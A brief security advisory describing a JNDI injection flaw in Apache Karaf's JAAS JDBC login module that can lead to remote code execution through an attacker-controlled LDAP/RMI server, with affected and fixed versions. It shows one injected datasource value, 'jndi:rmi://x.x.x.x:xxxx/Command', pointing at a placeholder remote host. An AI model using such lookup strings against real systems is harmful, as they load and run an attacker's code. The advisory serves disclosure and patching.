This vulnerability is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource uses InitialContext.lookup(jndiName) without filtering. A user can modify options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName()); to options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command"); in JdbcLoginModuleTest#setup. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server. This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. Maintainers encourage the users to upgrade to at least Apache Karaf versions 4.4.2 or 4.3.8.
